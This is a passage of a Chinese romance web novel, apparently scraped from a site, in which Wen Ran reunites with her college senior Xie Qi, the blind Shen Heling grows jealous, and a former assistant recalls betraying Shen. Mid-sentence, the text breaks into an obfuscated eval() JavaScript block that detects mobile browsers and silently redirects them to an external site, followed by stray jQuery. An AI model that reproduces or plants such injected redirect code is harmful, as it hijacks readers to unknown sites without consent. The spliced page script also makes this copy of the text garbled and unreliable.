时隔几年再见到谢祁,温染的心中感慨万分。
他一直都没变,还是那个很好很温柔的人,可以说大学那几年没有他,她也不会成为现在的她。
因为几分之差,温染没能顺利和沈鹤凛念同一所大学,但他们学校相隔不远,为了以一个全新的面貌出现在他眼前,温染拼了命减肥,可以说无所不用其极。
无论是寒冬酷暑,她在课余时间都坚持去跑步,一天只吃两餐,严格控制食量和热量,为此常常饿得两眼发昏,还患上了低血糖,可惜体重依旧没减轻多少。
听说爬山有助于减肥,她特地加入了学校的登山社,当时高她两届的谢祁正是社长。
他品学兼优,温文儒雅,是校草级别的风云人物,所过之处无数女生追随,当时得知她加入登山社的舍友们,一改往日嫌弃的嘴脸,纷纷拜托她把谢祁微信推给她们。
登山社并不那么好进,光报名审核都涮掉了一大批志不在登山的人,她是经过严格的面试才正式加入,作为社员她也的确加了谢祁的微信。
但没有经过谢祁同意,她不敢自作主张将他微信推给别人,为此她的舍友开始明目张胆地排挤她。
温染除了晚上在寝室睡觉,白天几乎都在外边,很少和她们相处,所以心中并没什么难过,一如既往地做着自己的事。
加入登山社没多久,温染就在一个周末跟队爬山,爬山开始没多久,她便毫无意外落在队伍最末尾。
山路并没有很陡峭,可温染还是累得气喘吁吁,连周遭秀丽的风景都无暇欣赏,反而越走越慢。
谢祁是带队人之一,负责断后,为了不影响他的速度,温染咬牙往上走。
看出她的吃力,谢祁让她原地休息一下。
温染听了,停下喝了两口水,又迈着沉重的步伐,努力跟上前方队伍。
登上半山腰后,队伍终于停下,居高临下俯瞰远处巍峨起伏的群山,拍照的拍照,感慨的感慨,个个谈笑风生,唯独她喘得像头死猪,四肢绵软打颤,站都站不稳,还头晕恶心。
意识到自己低血糖可能犯了,她想从口袋里拿出巧克力吃,刚掏出来便两眼一黑,就要往前栽倒,周围人吓了一跳,下意识避让她这个庞然大物,生怕被压倒。
还是谢祁眼疾手快拉住她,然后扶她到一旁的空地坐下。
见她面色发白,脸冒虚汗,谢祁也察觉她是低血糖犯了,顺势把她口袋里的巧克力拆开喂到她嘴边。
眼前密集的黑点渐渐散去,温染吃下巧克力,终于恢复了体力。虽然缓过来了,但是她已经没有力气再往上爬了,日头正盛,周围也没阴凉的地方供她休息,只能选择下山。
她现在的情况不适合一个人下山,在场的男生都不想主动站出来背她下去,而是将她视作一个拖累队伍的麻烦,那些嫌弃的目光她到现在都还记得。
她忘了当时是什么心情,只记得谢祁站了出来,在众人惊讶的目光中将当时一百五十多斤的她稳稳背起来。
那蜿蜒曲折一眼望不到头的山路,她就算有力气往下走,也会累得够呛,可谢祁除了呼吸重了点,没表现出任何异样。
她感动得眼泪汪汪,对他说了好多好多感激的话,引得谢祁哭笑不得。
渐渐熟悉起来后,谢祁得知她想减肥,还推荐她去朋友开的健身房,他有时也会去,甚至还在一旁指导她怎么锻炼更事半功倍。
他见证了她一点一点瘦下来的过程,期间给了她很多鼓励和帮助,要不是他出国留学后她手机丢失,他们也不会这么久没联系。
如今再次重逢,温染眼里的喜悦怎么都遮掩不住,有无数的话想和他寒暄。
“学长你也是住在附近吗?”
“嗯。”谢祁点头,说了一个离温染所住地不远的高档小区。
“太好了,以后我们有空可以约着一起吃个饭。”
“那肯定的,你脸好像尖了许多,不会又学节食那套吧。”
“没有啦。”
他们相谈甚欢,就这样把沈鹤凛晾在一边。
他什么都看不见,想走也无法辨别方向,他们的畅谈声钻进耳朵来,不想听都不行,甚至不自觉顺着那个男人的话在脑海中勾勒温染的模样。
可无论如何,也难以想象出来。
她究竟有着一双怎样的眼睛,看见他在黑暗的胡乱探路而无视他的冷淡,任会小心翼翼帮他,什么样的嘴唇才能在听到他偶尔带刺的言语时,依旧吐出温柔动听的嗓音。
因为无法想象,他甚至开始嫉妒起那个能看到温染的男人。
他管不好自己的狗,吓到了温染,怎么配温染用软软的语调亲昵地喊他‘学长’?
她到现在都疏离地连名带姓喊他。
听那个男人熟稔的语气,一定对温染很了解吧,难道他就是她的前任?
如果是这种关系的话,可他们分手之后再见面还会如此自然地约饭吗?联想到温染那没啥脾气的性子,这也是有可能的。
沈鹤凛越想越烦躁,在听到他们聊到兴头上的笑声时,终于忍无可忍:“温染,该走了。”
“哦哦好的,”温染一边应答,一边打开手机微信对谢祁道,“学长我们重新加个微信吧,有时间再聊。”
还交换联系方式?
沈鹤凛一口气提不上来,沉着脸拔腿就走。
温染余光瞄见,只匆匆扫上了谢祁的二维码便追上沈鹤凛,“你怎么不等等我呀,路上障碍物那么多,小心摔了。”
沈鹤凛唇角扯出一抹讽刺的弧度:“我等你等得还不够久?”
温染顿时意识到他生气了,连忙解释道:“抱歉让你久等了,刚才那个是我学长,好久没见了,所以多聊了几句。”
见沈鹤凛不置一词,温染觑着他脸色,作势要去那他手上其中一个袋子:“拎了这么久,手一定很累吧,把那袋水果给我拿吧。”
沈鹤凛拎紧袋子没让她拿:“快走吧,天要下雨了。”
“你怎么知道会下雨?”
“天气预报说的。”
“噢。”温染拉着他的衣袖引他往前走。
“他该不会就是你喜欢的人吧?”沈鹤凛冷不丁出声。
温染很快否认:“他不是,我们差距那么大,怎么可能。”
沈鹤凛墨眉没有半分舒展。
他可没忘记前几天她说的喜欢的人在国外,刚才那个男人又正巧从国外回来,所谓差距大不过是借口罢了,她语气里的惊喜和敬慕骗不了人的。
“差距大就不要考虑那些条件不好的人,你值得更好的。”
话音刚落,他忽然想到自己如今的情况,心中涌起一股深深的无力感,眼底阴翳越发暗沉。
温染还在解释着谢祁条件其实比自己好很多,他却什么也没听进去。
仿佛真如天气预报所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448101|185185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报道,刚刚还湛蓝的天开始阴云密布,风势也变大了不少,吹落了一地的枯叶。
温染带着沈鹤凛加快脚步往回走。
一高一矮的般配身影吸引了行人的注意,杨铭缓缓放慢车速,降下车窗,惊讶地注视那个身姿挺拔的男人。即便他鼻梁上架着墨镜遮住大半张脸,但与之朝夕相处多年的杨铭依旧认出了这位前上司。
他如今似乎过得很好,衣着体面,也恢复了往日丰神俊朗的英姿,身边还有佳人陪伴,不再死气沉沉,比被软禁在疗养院时好了不知多少倍。
杨铭连日来的忧虑一扫而空。
因为一些原因,他不得不选择背叛这位前上司,成了落井下石的人之一,他问心是有愧的。
凭心而论,沈鹤凛虽然要求严苛,不近人情,但待他这个助理不薄,赏罚分明,奖金丰厚,福利待遇极好,跟着他他学了很多东西,所以才能接触核心文件。
沈归承来策反他的时候,他起初是不愿的,可母亲身患重病,唯一的弟弟还把救命钱拿去赌博,赌输了不死心就去借高利贷,最后利滚利竟欠了几百多万,家庭的重担全压在他一个人身上,哪怕五年不吃不喝,他也凑不齐这么多钱,所以面对沈归承的威逼利诱,他动摇了,再加上沈鹤凛双目失明,注定成为沈归承的手下败将,他也只好顺势而为,做出了令人不齿的行径。
失去一切的沈鹤凛被沈归承关进了集团旗下的疗养院,听说过得很惨。
沈归承将失去父母的恨意全发泄在他身上,授意医护人员虐待侮辱,日常食物是狗都不吃的剩饭剩菜。
他听闻后偷偷去看过一次,完全认不出那个身形暴瘦,眼神死寂的男人,是之前那个高高在上、引无数人折腰的沈鹤凛。
他于心不忍,趁周围没有人员注意,来到他病床前忏悔,沈鹤凛置若罔闻,没有丝毫反应,要不是胸膛还微微起伏着,他会怀疑他早已没了活气。
临走前,他把离开疗养院的路线告诉了他。
沈鹤凛双目失明、行动不便,所以疗养院对他的管控并不严格,而且疗养院布局简单方正,他只要记牢路线,谨慎一点就能逃出去。
后来他果然听到了沈鹤凛从疗养院逃出生天的消息,沈归承为此发了很大的火,那段时间全集团上下无不战战兢兢,夹着尾巴做人。
他一直担心沈鹤凛再被抓回疗养院,如今看到他过得好好的,心中欣慰不少。
还没走到单元楼,天空就下起了暴雨,温染和沈鹤凛即便一路避雨,仍旧淋成了落汤鸡,浑身湿透。
回到家,他们的衣服一直滴滴答答往下滴水,在光洁的地板上砸出一朵朵水花。
温染身上粘得慌,因为热水器不能同时使用,她让沈鹤凛先去洗澡,他却说什么也不肯,非要她先洗。
温染拗不过他,便打算洗个战斗澡就出来,临了还不忘提醒他去吹干头发。
快速洗完澡后,温染发现自己竟然忘了拿衣服,只好先裹上浴巾。
她不确定沈鹤凛在不在外边,生怕贸然出去撞见他,给自己徒增尴尬。
浴室内的热气逐渐消弭,四肢光|裸的温染站在门边不自觉打了个冷颤。
犹豫再三后,她悄悄拧开门把手,把脑袋探出去,确保沈鹤凛房门是关着的,便放下心来。
她猛地拉开浴室门,踮起脚尖,小跑向自己房间,还差两三步时,沈鹤凛突然从对面开门走出来。